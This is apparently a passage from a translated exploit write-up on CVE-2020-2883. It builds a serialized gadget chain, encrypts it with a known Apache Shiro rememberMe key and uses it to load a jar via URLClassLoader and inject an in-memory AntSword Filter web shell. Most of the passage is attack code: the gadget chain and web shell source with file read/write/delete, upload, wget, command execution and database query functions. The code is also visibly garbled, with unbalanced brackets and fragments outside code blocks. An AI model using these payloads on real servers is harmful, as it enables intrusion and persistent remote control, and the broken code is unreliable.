public static byte[] getBytesByFile(String pathStr) {
 File file = new File(pathStr);
 try {
 FileInputStream fis = new FileInputStream(file);
 ByteArrayOutputStream bos = new ByteArrayOutputStream(1000);
 byte[] b = new byte[1000];
 int n;
 while ((n = fis.read(b))!= -1) {
 bos.write(b, 0, n);
 }
 fis.close();
 byte[] data = bos.toByteArray();
 bos.close();
 return data;
 } catch (Exception e) {
 e.printStackTrace();
 }
 return null;
}
```

After compiling and packaging into a jar file, execute it using the command `base64 -d` to write it to a file. This file will be used later to load the jar package through `URLClassLoader`. Since the code is in a static block, it will be executed automatically upon loading.
```java
package org.chabug.memshell;

import com.tangosol.util.ValueExtractor;
import com.tangosol.util.comparator.ExtractorComparator;
import com.tangosol.util.extractor.ChainedExtractor;
import com.tangosol.util.extractor.ReflectionExtractor;
import org.chabug.util.EncryptUtil;
import org.chabug.util.Serializables;
import ysoserial.payloads.util.Reflections;

import java.lang.reflect.Field;
import java.net.URL;
import java.net.URLClassLoader;
import java.util.PriorityQueue;

public class CVE_2020_2883_URLClassLoader {
    public static void main(String[] args) {
        try {
            ReflectionExtractor extractor1 = new ReflectionExtractor(
                    "getConstructor",
                    new Object[]{new Class[]{URL[].class}}
            );

            ReflectionExtractor extractor2 = new ReflectionExtractor(
                    "newInstance",
                    new Object[]{new Object[]{new URL[]{new URL("file:///C:/Users/Administrator/Desktop/tttt.jar")}}}
            );

            // Load filter shell
            ReflectionExtractor extractor3 = new ReflectionExtractor(
                    "loadClass",
                    new Object[]{"org.chabug.memshell.InjectFilterShell"}
            );

            ReflectionExtractor extractor4 = new ReflectionExtractor(
                    "getConstructor",
                    new Object[]{new Class[]{}}
            );

            ReflectionExtractor extractor5 = new ReflectionExtractor(
                    "newInstance",
                    new Object[]{new Object[]{}}
            );

            ValueExtractor[] valueExtractors = new ValueExtractor[]{
                    extractor1,
                    extractor2,
                    extractor3,
                    extractor4,
                    extractor5,
            };
            Class clazz = ChainedExtractor.class.getSuperclass();
            Field m_aExtractor = clazz.getDeclaredField("m_aExtractor");
            m_aExtractor.setAccessible(true);

            ReflectionExtractor reflectionExtractor = new ReflectionExtractor("toString", new Object[]{});
            ValueExtractor[] valueExtractors1 = new ValueExtractor[]{
                    reflectionExtractor
            };

            ChainedExtractor chainedExtractor1 = new ChainedExtractor(valueExtractors1);

            PriorityQueue queue = new PriorityQueue(2, new ExtractorComparator(chainedExtractor1));
            queue.add("1");
            queue.add("1");
            m_aExtractor.set(chainedExtractor1, valueExtractors);

            Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
        }
    }
}
```

queueArray[0] = URLClassLoader.class;  
queueArray[1] = “1”;  

byte[] buf = Serializables.serializeToBytes(queue);  
String key = “kPH+bIxk5D2deZiIxcaaaA==”;  
String rememberMe = EncryptUtil.shiroEncrypt(key, buf);  
System.out.println(rememberMe);  
}  
catch (Exception e) {  
    e.printStackTrace();  
}  
}  

The org.chabug.memshell.InjectFilterShell class is loaded through URLClassLoader. This process automatically executes static methods, which will read the bytecode of C:/Users/Administrator/Desktop/AntSwordFilterShell.class. Then, the AntSwordFilterShell class is injected in the form of bytecode. AntSwordFilterShell is our Filter shell. The code is as follows:  

```java  
package org.chabug.memshell;  

import javax.servlet.*;  
import java.io.*;  
import java.net.HttpURLConnection;  
import java.net.URL;  
import java.sql.*;  
import java.text.SimpleDateFormat;  

public class AntSwordFilterShell implements Filter{  

    String Pwd = “th1sIsMySecretPassW0rd!”;  // Connection password  
    String encoder = “”;  // Default value  
    String cs = “UTF-8”;  // Script’s own encoding  

    String EC(String s) throws Exception {  
        if (encoder.equals(“hex”) || encoder == “hex”) return s;  
        return new String(s.getBytes(“ISO-8859-1”), cs);  
    }  

    String showDatabases(String encode, String conn) throws Exception {  
        String sql = “show databases”;  // MySQL  
        String columnsep = “\t”;  
        String rowsep = “”;  
        return executeSQL(encode, conn, sql, columnsep, rowsep, false);  
    }  

    String showTables(String encode, String conn, String dbname) throws Exception {  
        String sql = “show tables from “ + dbname;  // MySQL  
        String columnsep = “\t”;  
        String rowsep = “”;  
        return executeSQL(encode, conn, sql, columnsep, rowsep, false);  
    }  

    String showColumns(String encode, String conn, String dbname, String table) throws Exception {  
        String columnsep = “\t”;  
        String rowsep = “\r\n”;  
        return executeSQL(encode, conn, table, “*,”, false);  
    }  

    String query(String encode, String conn, String sql) throws Exception {  
        String columnsep = “\t|\t”;  // General  
        String rowsep = “\r\n”;  
        return executeSQL(encode, conn, sql, columnsep, rowsep, true);  
    }  

    String executeSQL(String encode, String conn, String sql) throws Exception {  
        String ret = “”;  
        conn = (EC(conn));  
        String[] x = conn.trim().replace(“\r\n”, “\n”).split(“\n”);  
        Class.forName(x[0].trim());  
        String url = x[1] + “&characterEncoding=” + decode(EC(encode), encoder);  
    }  
}  
```

Connection c = DriverManager.getConnection(url);  
Statement stmt = c.createStatement();  
ResultSet rs = stmt.executeQuery(sql);  
ResultSetMetaData rsmd = rs.getMetaData();  

if (needcoluname) {  
    for (int i = 1; i < rsmd.length; i++) {  
        if (rsmd.getColumnName(i).equals("column_name")) {  
            break;  
        }  
    }  
}  

while ((n = is.read(b, 0, 512)) != -1) {  
    os.write(b, 0, n);  
}  
os.write("||");  

if (funccode.equals("B")) {  
    sb.append(FileTreeCode(pars[1]);  
} else if (funccode.equals("C")) {  
    sb.append(ReadFileCode(pars[1]);  
} else if (funccode.equals("D")) {  
    sb.append(WriteFileCode(pars[1], pars[2]);  
} else if (funccode.equals("E")) {  
    sb.append(DeleteFileOrDirCode(pars[1]);  
} else if (funccode.equals("F")) {  
    DownloadFileCode(pars[1], response;  
} else if (funccode.equals("U")) {  
    sb.append(UploadFileCode(pars[1], pars[2]);  
} else if (funccode.equals("H")) {  
    sb.append(CopyFileOrDirCode(pars[1], pars[2]);  
} else if (funccode.equals("I")) {  
    sb.append(RenameFileOrDirCode(pars[1], pars[2]);  
} else if (funccode.equals("J")) {  
    sb.append(CreateDirCode(pars[1]);  
} else if (funccode.equals("K")) {  
    sb.append(ModifyFileOrDirTimeCode(pars[1], pars[2]);  
} else if (funccode.equals("L")) {  
    sb.append(WgetCode(pars[1], pars[2]);  
} else if (funccode.equals("M")) {  
    sb.append(ExecuteCommandCode(pars[1], pars[2]);  
} else if (funccode.equals("N")) {  
    sb.append(showDatabases(pars[0], pars[1]);  
} else if (funccode.equals("O")) {  
    sb.append(showTables(pars[0], pars[1], pars[2]);  
} else if (funccode.equals("P")) {  
    sb.append(showColumns(pars[0], pars[1], pars[2], pars[3]);  
} else if (funccode.equals("Q")) {  
    sb.append(query(pars[0], pars[1], pars[2]);  
} else if (funccode.equals("A")) {  
    sb.append(SysInfoCode(request);  
}  

catch (Exception e) {  
    sb.append("ERROR::" + e.toString());  
    e.printStackTrace();  
}  
sb.append("| tttt.jar -> InjectFilterShell static -> defineClass byte -> AntSwordFilterShell";